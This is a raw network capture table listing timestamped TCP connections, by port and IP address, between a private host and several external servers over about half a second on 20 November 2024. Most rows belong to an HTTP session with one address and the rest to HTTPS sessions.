Nov 20, 2024 23:12:53.109309912 CET	49868	443	192.168.2.7	20.25.227.174
Nov 20, 2024 23:12:53.109684944 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.109694958 CET	49868	443	192.168.2.7	20.25.227.174
Nov 20, 2024 23:12:53.109709978 CET	443	49868	20.25.227.174	192.168.2.7
Nov 20, 2024 23:12:53.109759092 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.109788895 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.109839916 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.110737085 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.110804081 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.110845089 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.110928059 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.111821890 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.111871004 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.111890078 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.111958981 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.112874031 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.112926006 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.112986088 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.113051891 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.113938093 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.114058971 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.114105940 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.114984035 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.115029097 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.115037918 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.115089893 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.116059065 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.116115093 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.116152048 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.116239071 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.117132902 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.117187977 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.117244005 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.117398024 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.118197918 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.118316889 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.118364096 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.119254112 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.119304895 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.119364023 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.119441986 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.120357990 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.120417118 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.120450974 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.120491982 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.121495008 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.121591091 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.121611118 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.121701002 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.122474909 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.122546911 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.141851902 CET	443	49860	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.141913891 CET	443	49860	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.142152071 CET	49860	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:53.143268108 CET	443	49861	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.144556046 CET	49860	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:53.144577980 CET	443	49860	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.144663095 CET	49860	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:53.144669056 CET	443	49860	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.151731968 CET	49861	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:53.151757956 CET	443	49861	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.152370930 CET	49861	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:53.152376890 CET	443	49861	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.158751011 CET	49869	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:53.158797026 CET	443	49869	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.158886909 CET	49869	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:53.159480095 CET	49869	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:53.159495115 CET	443	49869	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.171495914 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.171523094 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.171567917 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.171586037 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.171621084 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.171634912 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.171875954 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.172091007 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.172162056 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.172413111 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.172460079 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.172504902 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.173460960 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.173516035 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.209419012 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.209471941 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.209523916 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.209537983 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.209568977 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.209590912 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.210866928 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.210916042 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.210932970 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.210971117 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.211399078 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.211451054 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.211529970 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.211575985 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.212456942 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.212505102 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.212548018 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.212759018 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.213524103 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.213577032 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.213635921 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.213709116 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.214617968 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.214631081 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.214672089 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.214689016 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.215631008 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.215672016 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.215727091 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.216739893 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.216886044 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.216938972 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.217817068 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.217864990 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.217988968 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.218035936 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.218837023 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.218893051 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.218969107 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.219012022 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.219918013 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.219988108 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.220031977 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.220930099 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.221055984 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.221127987 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.222024918 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.222074032 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.222111940 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.222166061 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.223073959 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.223126888 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.223273993 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.223664999 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.224144936 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.224231958 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.224263906 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.224359989 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.225199938 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.225251913 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.225290060 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.225332975 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.226285934 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.226337910 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.226376057 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.226421118 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.227324009 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.227376938 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.227438927 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.227523088 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.228394985 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.228408098 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.228449106 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.228524923 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.228575945 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.228609085 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.228619099 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.228635073 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.228730917 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.248040915 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.248058081 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.248121023 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.248133898 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.248199940 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.296293974 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.296346903 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.296382904 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.296427011 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.296845913 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.296902895 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.296983004 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.297030926 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.297888041 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.297945976 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.336576939 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.336761951 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.336815119 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.336836100 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.337085962 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.337099075 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.337142944 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.337162971 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.337863922 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.337990046 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.338042974 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.338926077 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.339027882 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.339097977 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.340034008 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.340143919 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.340167999 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.340215921 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.341080904 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.341120005 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.341191053 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.342133999 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.342199087 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.342209101 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.342251062 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.343195915 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.343271971 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.343302965 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.343646049 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.344253063 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.344317913 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.344321966 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.344508886 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.345324993 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.345401049 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.345434904 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.345487118 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.346407890 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.346477032 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.346515894 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.346569061 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.347455978 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.347522020 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.347563028 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.347790956 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.348531961 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.348620892 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.348650932 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.348737955 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.349581957 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.349653959 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.349736929 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.349786997 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.350627899 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.350703001 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.350730896 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.350801945 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.351746082 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.351815939 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.351841927 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.352124929 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.352757931 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.352826118 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.352860928 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.353063107 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.353853941 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.353904963 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.353925943 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.353955030 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.354912043 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.354979992 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.355015993 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.355103016 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.355961084 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.356018066 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.356041908 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.356061935 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.356996059 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.357125044 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.357188940 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.358098030 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.358177900 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.358212948 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.358266115 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.359127045 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.359174967 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.359241962 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.360193014 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.360255003 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.360296011 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.360555887 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.361251116 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.361327887 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.361361027 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.361514091 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.362366915 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.362443924 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.362449884 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.362555027 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.363557100 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.363571882 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.363631964 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.364438057 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.364520073 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.364538908 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.364844084 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.365514994 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.365586042 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.365624905 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.365771055 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.366583109 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.366693020 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.366775036 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.367701054 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.367767096 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.367777109 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.367871046 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.368662119 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.368730068 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.368767023 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.369023085 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.369760036 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.369836092 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.369868040 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.370028973 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.370794058 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.374377966 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.375577927 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.375606060 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.375680923 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.375710964 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.375740051 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.375781059 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.382376909 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.382483006 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.382592916 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.382592916 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.383090973 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.383102894 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.383157969 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.384074926 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.384140015 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.384160042 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.384470940 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.385051012 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.385121107 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.392683029 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.392709970 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.392849922 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.392873049 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.393048048 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.407278061 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.407308102 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.407396078 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.407411098 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.407469988 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.421320915 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.421416044 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.421488047 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.421534061 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.421644926 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.421701908 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.421708107 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.421777010 CET	49799	80	192.168.2.7	185.215.113.206
